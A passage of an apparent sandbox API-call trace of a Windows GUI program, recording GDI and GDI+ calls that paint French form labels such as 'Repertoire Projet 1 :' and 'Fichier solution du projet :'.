CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1e0401e4 [0222.605] GetClipRgn (hdc=0x250106e1, hrgn=0x1e0401e4) returned 0 [0222.605] SelectClipRgn (hdc=0x250106e1, hrgn=0x43040221) returned 2 [0222.605] DeleteObject (ho=0x1e0401e4) returned 1 [0222.605] DeleteObject (ho=0x43040221) returned 1 [0222.605] OffsetViewportOrgEx (in: hdc=0x250106e1, x=0, y=0, lppt=0x22f7ef4 | out: lppt=0x22f7ef4) returned 1 [0222.605] GetNearestColor (hdc=0x250106e1, color=0xc8c8c8) returned 0xc8c8c8 [0222.605] CreateSolidBrush (color=0xc8c8c8) returned 0x81006b3 [0222.606] FillRect (hDC=0x250106e1, lprc=0x52e988, hbr=0x81006b3) returned 1 [0222.606] DeleteObject (ho=0x81006b3) returned 1 [0222.606] RestoreDC (hdc=0x250106e1, nSavedDC=-1) returned 1 [0222.606] GdipReleaseDC (graphics=0x4d97818, hdc=0x250106e1) returned 0x0 [0222.606] GdipRestoreGraphics (graphics=0x4d97818, state=0xfdb30dbd) returned 0x0 [0222.606] GdipDeleteRegion (region=0x4d4fa50) returned 0x0 [0222.606] GetWindowTextLengthW (hWnd=0x1017c) returned 23 [0222.606] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0222.606] GetSystemMetrics (nIndex=42) returned 0 [0222.606] GetWindowTextW (in: hWnd=0x1017c, lpString=0x52ea0c, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0222.606] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0xd, wParam=0x18, lParam=0x52ea0c) returned 0x17 [0222.606] GdipGetDC (graphics=0x4d97818, hdc=0x52e9a4) returned 0x0 [0222.606] GetCurrentObject (hdc=0x250106e1, type=0x1) returned 0x1b00017 [0222.879] GetCurrentObject (hdc=0x250106e1, type=0x2) returned 0x1900010 [0222.879] GetCurrentObject (hdc=0x250106e1, type=0x7) returned 0x90506be [0222.879] GetCurrentObject (hdc=0x250106e1, type=0x6) returned 0x18a002e [0222.879] SaveDC (hdc=0x250106e1) returned 1 [0222.880] GetNearestColor (hdc=0x250106e1, color=0x0) returned 0x0 [0222.880] RestoreDC (hdc=0x250106e1, nSavedDC=-1) returned 1 [0222.880] GdipReleaseDC (graphics=0x4d97818, hdc=0x250106e1) returned 0x0 [0222.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0222.880] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0222.880] DrawTextExW (in: hdc=0x300101e8, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x52e8b0, format=0x102404, lpdtp=0x22ff090 | out: lpchText="Repertoire Projet 1 : ", lprc=0x52e8b0) returned 13 [0222.880] GdipGetTextRenderingHint (graphics=0x4d97818, mode=0x52e944) returned 0x0 [0222.880] GdipGetDC (graphics=0x4d97818, hdc=0x52e930) returned 0x0 [0222.880] GetCurrentObject (hdc=0x250106e1, type=0x1) returned 0x1b00017 [0222.880] GetCurrentObject (hdc=0x250106e1, type=0x2) returned 0x1900010 [0222.880] GetCurrentObject (hdc=0x250106e1, type=0x7) returned 0x90506be [0222.881] GetCurrentObject (hdc=0x250106e1, type=0x6) returned 0x18a002e [0222.881] SaveDC (hdc=0x250106e1) returned 1 [0222.881] GetTextAlign (hdc=0x250106e1) returned 0x0 [0222.881] GetTextColor (hdc=0x250106e1) returned 0x0 [0222.881] GetCurrentObject (hdc=0x250106e1, type=0x6) returned 0x18a002e [0222.881] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0222.881] SelectObject (hdc=0x250106e1, h=0xc0a01e7) returned 0x18a002e [0222.881] GetBkMode (hdc=0x250106e1) returned 2 [0222.881] SetBkMode (hdc=0x250106e1, mode=1) returned 2 [0222.881] DrawTextExW (in: hdc=0x250106e1, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x52e70c, format=0x100404, lpdtp=0x22ff2a8 | out: lpchText="Repertoire Projet 1 : ", lprc=0x52e70c) returned 13 [0222.881] DrawTextExW (in: hdc=0x250106e1, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x52e8c4, format=0x100004, lpdtp=0x22ff2a8 | out: lpchText="Repertoire Projet 1 : ", lprc=0x52e8c4) returned 13 [0222.881] RestoreDC (hdc=0x250106e1, nSavedDC=-1) returned 1 [0222.882] GdipReleaseDC (graphics=0x4d97818, hdc=0x250106e1) returned 0x0 [0222.882] GdipGetDC (graphics=0x4d97818, hdc=0x52eae0) returned 0x0 [0222.882] BitBlt (hdc=0x60106b7, x=0, y=0, cx=161, cy=21, hdcSrc=0x250106e1, x1=0, y1=0, rop=0xcc0020) returned 1 [0222.931] GdipReleaseDC (graphics=0x4d97818, hdc=0x250106e1) returned 0x0 [0222.931] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0222.931] SelectObject (hdc=0x250106e1, h=0x185000f) returned 0x90506be [0222.931] DeleteDC (hdc=0x250106e1) returned 1 [0222.931] GdipDeleteGraphics (graphics=0x4d97818) returned 0x0 [0222.932] EndPaint (hWnd=0x1017c, lpPaint=0x52ea84) returned 1 [0222.932] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.932] IsWindowUnicode (hWnd=0x10180) returned 1 [0222.932] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.932] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.932] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.932] BeginPaint (in: hWnd=0x10180, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x60106b7 [0222.932] SelectPalette (hdc=0x60106b7, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0222.932] CreateCompatibleDC (hdc=0x60106b7) returned 0x270106e1 [0222.932] SelectObject (hdc=0x270106e1, h=0x90506be) returned 0x185000f [0222.932] GdipCreateFromHDC (hdc=0x270106e1, graphics=0x52eaa0) returned 0x0 [0222.932] GdipTranslateWorldTransform (graphics=0x4d97818, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0222.932] GdipSetClipRectI (graphics=0x4d97818, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0222.932] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0222.932] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x4d98090) returned 0x0 [0222.932] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eb00) returned 0x0 [0222.933] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.933] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x663f60) returned 0x0 [0222.933] LocalFree (hMem=0x663f60) returned 0x0 [0222.933] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0222.933] GdipCreateRegion (region=0x52eae8) returned 0x0 [0222.933] GdipGetClip (graphics=0x4d97818, region=0x4da5600) returned 0x0 [0222.933] GdipIsInfiniteRegion (region=0x4da5600, graphics=0x4d97818, result=0x52eaf4) returned 0x0 [0222.933] GdipSaveGraphics (graphics=0x4d97818, state=0x52eb20) returned 0x0 [0222.933] GetWindowTextLengthW (hWnd=0x10180) returned 22 [0222.933] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0222.933] GetSystemMetrics (nIndex=42) returned 0 [0222.933] GetWindowTextW (in: hWnd=0x10180, lpString=0x52ea0c, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0222.933] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0xd, wParam=0x17, lParam=0x52ea0c) returned 0x16 [0222.933] GetClientRect (in: hWnd=0x10180, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0222.933] GdipCreateRegion (region=0x52e93c) returned 0x0 [0222.933] GdipGetClip (graphics=0x4d97818, region=0x4da58f0) returned 0x0 [0222.933] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0222.933] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x5270f28) returned 0x0 [0222.933] GdipIsMatrixIdentity (matrix=0x5270f28, result=0x52e954) returned 0x0 [0222.933] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.933] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x663f60) returned 0x0 [0222.934] LocalFree (hMem=0x663f60) returned 0x0 [0222.934] GdipCombineRegionRegion (region=0x4da58f0, region2=0x4da5600, combineMode=0x1) returned 0x0 [0222.934] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.934] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x663f60) returned 0x0 [0222.934] LocalFree (hMem=0x663f60) returned 0x0 [0222.935] GdipDeleteMatrix (matrix=0x5270f28) returned 0x0 [0222.935] GdipIsInfiniteRegion (region=0x4da58f0, graphics=0x4d97818, result=0x52e97c) returned 0x0 [0222.935] GdipIsInfiniteRegion (region=0x4da58f0, graphics=0x4d97818, result=0x52e96c) returned 0x0 [0222.935] GdipGetRegionHRgn (region=0x4da58f0, graphics=0x4d97818, hRgn=0x52e96c) returned 0x0 [0222.935] GdipDeleteRegion (region=0x4da58f0) returned 0x0 [0222.935] GdipGetDC (graphics=0x4d97818, hdc=0x52e984) returned 0x0 [0222.935] GetCurrentObject (hdc=0x270106e1, type=0x1) returned 0x1b00017 [0222.935] GetCurrentObject (hdc=0x270106e1, type=0x2) returned 0x1900010 [0222.935] GetCurrentObject (hdc=0x270106e1, type=0x7) returned 0x90506be [0222.935] GetCurrentObject (hdc=0x270106e1, type=0x6) returned 0x18a002e [0222.935] SaveDC (hdc=0x270106e1) returned 1 [0222.935] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x44040221 [0222.935] GetClipRgn (hdc=0x270106e1, hrgn=0x44040221) returned 0 [0222.935] SelectClipRgn (hdc=0x270106e1, hrgn=0x220401e4) returned 2 [0222.935] DeleteObject (ho=0x44040221) returned 1 [0222.936] DeleteObject (ho=0x220401e4) returned 1 [0222.936] OffsetViewportOrgEx (in: hdc=0x270106e1, x=0, y=0, lppt=0x22ff724 | out: lppt=0x22ff724) returned 1 [0222.936] GetNearestColor (hdc=0x270106e1, color=0xc8c8c8) returned 0xc8c8c8 [0222.936] CreateSolidBrush (color=0xc8c8c8) returned 0x91006b3 [0222.936] FillRect (hDC=0x270106e1, lprc=0x52e988, hbr=0x91006b3) returned 1 [0222.936] DeleteObject (ho=0x91006b3) returned 1 [0222.936] RestoreDC (hdc=0x270106e1, nSavedDC=-1) returned 1 [0222.936] GdipReleaseDC (graphics=0x4d97818, hdc=0x270106e1) returned 0x0 [0222.936] GdipRestoreGraphics (graphics=0x4d97818, state=0xfdb10dbd) returned 0x0 [0222.936] GdipDeleteRegion (region=0x4da5600) returned 0x0 [0222.936] GetWindowTextLengthW (hWnd=0x10180) returned 22 [0222.936] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0222.936] GetSystemMetrics (nIndex=42) returned 0 [0222.936] GetWindowTextW (in: hWnd=0x10180, lpString=0x52ea0c, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0222.936] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0xd, wParam=0x17, lParam=0x52ea0c) returned 0x16 [0222.936] GdipGetDC (graphics=0x4d97818, hdc=0x52e9a4) returned 0x0 [0222.936] GetCurrentObject (hdc=0x270106e1, type=0x1) returned 0x1b00017 [0222.936] GetCurrentObject (hdc=0x270106e1, type=0x2) returned 0x1900010 [0222.936] GetCurrentObject (hdc=0x270106e1, type=0x7) returned 0x90506be [0222.936] GetCurrentObject (hdc=0x270106e1, type=0x6) returned 0x18a002e [0222.937] SaveDC (hdc=0x270106e1) returned 1 [0222.937] GetNearestColor (hdc=0x270106e1, color=0x0) returned 0x0 [0222.937] RestoreDC (hdc=0x270106e1, nSavedDC=-1) returned 1 [0222.937] GdipReleaseDC (graphics=0x4d97818, hdc=0x270106e1) returned 0x0 [0222.937] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0222.937] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0222.937] DrawTextExW (in: hdc=0x300101e8, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x52e8b0, format=0x102404, lpdtp=0x22ffa04 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x52e8b0) returned 13 [0222.937] GdipGetTextRenderingHint (graphics=0x4d97818, mode=0x52e944) returned 0x0 [0222.937] GdipGetDC (graphics=0x4d97818, hdc=0x52e930) returned 0x0 [0222.937] GetCurrentObject (hdc=0x270106e1, type=0x1) returned 0x1b00017 [0222.938] GetCurrentObject (hdc=0x270106e1, type=0x2) returned 0x1900010 [0222.938] GetCurrentObject (hdc=0x270106e1, type=0x7) returned 0x90506be [0222.938] GetCurrentObject (hdc=0x270106e1, type=0x6) returned 0x18a002e [0222.938] SaveDC (hdc=0x270106e1) returned 1 [0222.938] GetTextAlign (hdc=0x270106e1) returned 0x0 [0222.938] GetTextColor (hdc=0x270106e1) returned 0x0 [0222.938] GetCurrentObject (hdc=0x270106e1, type=0x6) returned 0x18a002e [0222.938] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0222.938] SelectObject (hdc=0x270106e1, h=0xc0a01e7) returned 0x18a002e [0222.938] GetBkMode (hdc=0x270106e1) returned 2 [0222.938] SetBkMode (hdc=0x270106e1, mode=1) returned 2 [0222.938] DrawTextExW (in: hdc=0x270106e1, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x52e70c, format=0x100404, lpdtp=0x22ffc1c | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x52e70c) returned 13 [0222.938] DrawTextExW (in: hdc=0x270106e1, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x52e8c4, format=0x100004, lpdtp=0x22ffc1c | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x52e8c4) returned 13 [0222.939] RestoreDC (hdc=0x270106e1, nSavedDC=-1) returned 1 [0222.939] GdipReleaseDC (graphics=0x4d97818, hdc=0x270106e1) returned 0x0 [0222.939] GdipGetDC (graphics=0x4d97818, hdc=0x52eae0) returned 0x0 [0222.939] BitBlt (hdc=0x60106b7, x=0, y=0, cx=161, cy=21, hdcSrc=0x270106e1, x1=0, y1=0, rop=0xcc0020) returned 1 [0222.940] GdipReleaseDC (graphics=0x4d97818, hdc=0x270106e1) returned 0x0 [0222.940] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0222.940] SelectObject (hdc=0x270106e1, h=0x185000f) returned 0x90506be [0222.940] DeleteDC (hdc=0x270106e1) returned 1 [0222.940] GdipDeleteGraphics (graphics=0x4d97818) returned 0x0 [0222.940] EndPaint (hWnd=0x10180, lpPaint=0x52ea84) returned 1 [0222.940] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.940] IsWindowUnicode (hWnd=0x10184) returned 1 [0222.940] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.940] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.940] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.940] BeginPaint (in: hWnd=0x10184, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x701068c [0222.940] SelectPalette (hdc=0x701068c, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0222.940] CreateCompatibleDC (hdc=0x701068c) returned 0x290106e1 [0222.940] SelectObject (hdc=0x290106e1, h=0x90506be) returned 0x185000f [0222.940] GdipCreateFromHDC (hdc=0x290106e1, graphics=0x52eaa0) returned 0x0 [0222.941] GdipTranslateWorldTransform (graphics=0x4d97818, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0222.941] GdipSetClipRectI (graphics=0x4d97818, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0222.941] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0222.941] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x4d98090) returned 0x0 [0222.941] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eb00) returned 0x0 [0222.941] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.941] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x663f60) returned 0x0 [0222.941] LocalFree (hMem=0x663f60) returned 0x0 [0222.941] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0222.941] GdipCreateRegion (region=0x52eae8) returned 0x0 [0222.941] GdipGetClip (graphics=0x4d97818, region=0x4da5600) returned 0x0 [0222.941] GdipIsInfiniteRegion (region=0x4da5600, graphics=0x4d97818, result=0x52eaf4) returned 0x0 [0222.941] GdipSaveGraphics (graphics=0x4d97818, state=0x52eb20) returned 0x0 [0222.941] GetWindowTextLengthW (hWnd=0x10184) returned 28 [0222.941] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0222.941] GetSystemMetrics (nIndex=42) returned 0 [0222.941] GetWindowTextW (in: hWnd=0x10184, lpString=0x52ea00, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0222.941] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0xd, wParam=0x1d, lParam=0x52ea00) returned 0x1c [0222.941] GetClientRect (in: hWnd=0x10184, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0222.941] GdipCreateRegion (region=0x52e93c) returned 0x0 [0222.942] GdipGetClip (graphics=0x4d97818, region=0x4da58f0) returned 0x0 [0222.942] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0222.942] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x5270f28) returned 0x0 [0222.942] GdipIsMatrixIdentity (matrix=0x5270f28, result=0x52e954) returned 0x0 [0222.942] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.942] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x663f60) returned 0x0 [0222.942] LocalFree (hMem=0x663f60) returned 0x0 [0222.942] GdipCombineRegionRegion (region=0x4da58f0, region2=0x4da5600, combineMode=0x1) returned 0x0 [0222.942] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.942] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x663f60) returned 0x0 [0222.942] LocalFree (hMem=0x663f60) returned 0x0 [0222.942] GdipDeleteMatrix (matrix=0x5270f28) returned 0x0 [0222.942] GdipIsInfiniteRegion (region=0x4da58f0, graphics=0x4d97818, result=0x52e97c) returned 0x0 [0222.942] GdipIsInfiniteRegion (region=0x4da58f0, graphics=0x4d97818, result=0x52e96c) returned 0x0 [0222.942] GdipGetRegionHRgn (region=0x4da58f0, graphics=0x4d97818, hRgn=0x52e96c) returned 0x0 [0222.942] GdipDeleteRegion (region=0x4da58f0) returned 0x0 [0222.942] GdipGetDC (graphics=0x4d97818, hdc=0x52e984) returned 0x0 [0222.942] GetCurrentObject (hdc=0x290106e1, type=0x1) returned 0x1b00017 [0222.942] GetCurrentObject (hdc=0x290106e1, type=0x2) returned 0x1900010 [0222.942] GetCurrentObject (hdc=0x290106e1, type=0x7) returned 0x90506be [0222.943] GetCurrentObject (hdc=0x290106e1, type=0x6) returned 0x18a002e [0222.943] SaveDC (hdc=0x290106e1) returned 1 [0222.943] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x230401e4 [0222.943] GetClipRgn (hdc=0x290106e1, hrgn=0x230401e4) returned 0 [0222.943] SelectClipRgn (hdc=0x290106e1, hrgn=0x48040221) returned 2 [0222.943] DeleteObject (ho=0x230401e4) returned 1 [0222.943] DeleteObject (ho=0x48040221) returned 1 [0222.943] OffsetViewportOrgEx (in: hdc=0x290106e1, x=0, y=0, lppt=0x23000bc | out: lppt=0x23000bc) returned 1 [0222.943] GetNearestColor (hdc=0x290106e1, color=0xc8c8c8) returned 0xc8c8c8 [0222.943] CreateSolidBrush (color=0xc8c8c8) returned 0xa1006b3 [0222.943] FillRect (hDC=0x290106e1, lprc=0x52e988, hbr=0xa1006b3) returned 1 [0222.943] DeleteObject (ho=0xa1006b3) returned 1 [0222.943] RestoreDC (hdc=0x290106e1, nSavedDC=-1) returned 1 [0222.943] GdipReleaseDC (graphics=0x4d97818, hdc=0x290106e1) returned 0x0 [0222.943] GdipRestoreGraphics (graphics=0x4d97818, state=0xfdaf0dbd) returned 0x0 [0222.943] GdipDeleteRegion (region=0x4da5600) returned 0x0 [0222.943] GetWindowTextLengthW (hWnd=0x10184) returned 28 [0222.944] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0222.944] GetSystemMetrics (nIndex=42) returned 0 [0222.944] GetWindowTextW (in: hWnd=0x10184, lpString=0x52ea00, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0222.944] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0xd, wParam=0x1d, lParam=0x52ea00) returned 0x1c [0222.944] GdipGetDC (graphics=0x4d97818, hdc=0x52e9a4) returned 0x0 [0222.944] GetCurrentObject (hdc=0x290106e1, type=0x1) returned 0x1b00017 [0222.944] GetCurrentObject (hdc=0x290106e1, type=0x2) returned 0x1900010 [0222.944] GetCurrentObject (hdc=0x290106e1, type=0x7) returned 0x90506be [0222.944] GetCurrentObject (hdc=0x290106e1, type=0x6) returned 0x18a002e [0222.944] SaveDC (hdc=0x290106e1) returned 1 [0222.944] GetNearestColor (hdc=0x290106e1, color=0x0) returned 0x0 [0222.944] RestoreDC (hdc=0x290106e1, nSavedDC=-1) returned 1 [0222.944] GdipReleaseDC (graphics=0x4d97818, hdc=0x290106e1) returned 0x0 [0222.944] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0222.944] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0222.945] DrawTextExW (in: hdc=0x300101e8, lpchText="Fichier solution du projet :", cchText=28, lprc=0x52e8b0, format=0x102404, lpdtp=0x23003c0 | out: lpchText="Fichier solution du projet :", lprc=0x52e8b0) returned 13 [0222.945] GdipGetTextRenderingHint (graphics=0x4d97818, mode=0x52e944) returned 0x0 [0222.945] GdipGetDC (graphics=0x4d97818, hdc=0x52e930) returned 0x0 [0222.945] GetCurrentObject (hdc=0x290106e1, type=0x1) returned 0x1b00017 [0222.945] GetCurrentObject (hdc=0x290106e1, type=0x2) returned 0x1900010 [0222.945] GetCurrentObject (hdc=0x290106e1, type=0x7) returned 0x90506be [0222.945] GetCurrentObject (hdc=0x290106e1, type=0x6) returned 0x18a002e [0222.945] SaveDC (hdc=0x290106e1) returned 1 [0222.945] GetTextAlign (hdc=0x290106e1) returned 0x0 [0222.945] GetTextColor (hdc=0x290106e1) returned 0x0 [0222.945] GetCurrentObject (hdc=0x290106e1, type=0x6) returned 0x18a002e [0222.945] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0222.945] SelectObject (hdc=0x290106e1, h=0xc0a01e7) returned 0x18a002e [0222.945] GetBkMode (hdc=0x290106e1) returned 2 [0222.945] SetBkMode (hdc=0x290106e1, mode=1) returned 2 [0222.945] DrawTextExW (in: hdc=0x290106e1, lpchText="Fichier solution du projet :", cchText=28, lprc=0x52e70c, format=0x100404, lpdtp=0x23005d8 | out: lpchText="Fichier solution du projet :", lprc=0x52e70c) returned 13 [0222.946] DrawTextExW (in: hdc=0x290106e1, lpchText="Fichier solution du projet :", cchText=28, lprc=0x52e8c4, format=0x100004, lpdtp=0x23005d8 | out: lpchText="Fichier solution du projet :", lprc=0x52e8c4) returned 13 [0222.946] RestoreDC (hdc=0x290106e1, nSavedDC=-1) returned 1 [0222.946] GdipReleaseDC (graphics=0x4d97818, hdc=0x290106e1) returned 0x0 [0222.946] GdipGetDC (graphics=0x4d97818, hdc=0x52eae0) returned 0x0 [0222.946] BitBlt (hdc=0x701068c, x=0, y=0, cx=161, cy=21, hdcSrc=0x290106e1, x1=0, y1=0, rop=0xcc0020) returned 1 [0222.947] GdipReleaseDC (graphics=0x4d97818, hdc=0x290106e1) returned 0x0 [0222.947] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0222.947] SelectObject (hdc=0x290106e1, h=0x185000f) returned 0x90506be [0222.947] DeleteDC (hdc=0x290106e1) returned 1 [0222.947] GdipDeleteGraphics (graphics=0x4d97818) returned 0x0 [0222.947] EndPaint (hWnd=0x10184, lpPaint=0x52ea84) returned 1 [0222.947] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.947] IsWindowUnicode (hWnd=0x10186) returned 1 [0222.947] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.947] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.947] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.948] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x100107ec [0222.948] SelectPalette (hdc=0x100107ec, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0222.948] CreateCompatibleDC (hdc=0x100107ec) returned 0x2b0106e1 [0222.948] DeleteObject (ho=0x90506be) returned 1 [0222.948] GetObjectType (h=0x100107ec) returned 0x3 [0222.948] CreateCompatibleBitmap (hdc=0x100107ec, cx=1, cy=1) returned 0xc0506bd [0222.948] GetDIBits (in: hdc=0x100107ec, hbm=0xc0506bd, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x52e56c, usage=0x0 | out: lpvBits=0x0, lpbmi=0x52e56c) returned 1 [0222.948] GetDIBits (in: hdc=0x100107ec, hbm=0xc0506bd, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x52e56c, usage=0x0 | out: lpvBits=0x0, lpbmi=0x52e56c) returned 1 [0222.948] DeleteObject (ho=0xc0506bd) returned 1 [0222.948] CreateDIBSection (in: hdc=0x100107ec, lpbmi=0x52e5bc, usage=0x0, ppvBits=0x52eab0, hSection=0x0, offset=0x0 | out: ppvBits=0x52eab0) returned 0xa0506be [0222.948] SelectObject (hdc=0x2b0106e1, h=0xa0506be) returned 0x185000f [0222.948] GdipCreateFromHDC (hdc=0x2b0106e1, graphics=0x52ea94) returned 0x0 [0222.949] GdipTranslateWorldTransform (graphics=0x4d97818, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0222.949] GdipSetClipRectI (graphics=0x4d97818, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0222.949] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0222.949] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x4d98090) returned 0x0 [0222.949] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0222.949] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x663f60 [0222.949] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x663f60) returned 0x0 [0222.949] LocalFree (hMem=0x663f60) returned 0x0 [0222.949] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0222.949] GdipCreateRegion (region=0x52eadc) returned 0x0 [0222.949] GdipGetClip (graphics=0x4d97818, region=0x4da5600) returned 0x0 [0222.949] GdipIsInfiniteRegion (region=0x4da5600, graphics=0x4d97818, result=0x52eae8) returned 0x0 [0222.949] GdipSaveGraphics (graphics=0x4d97818, 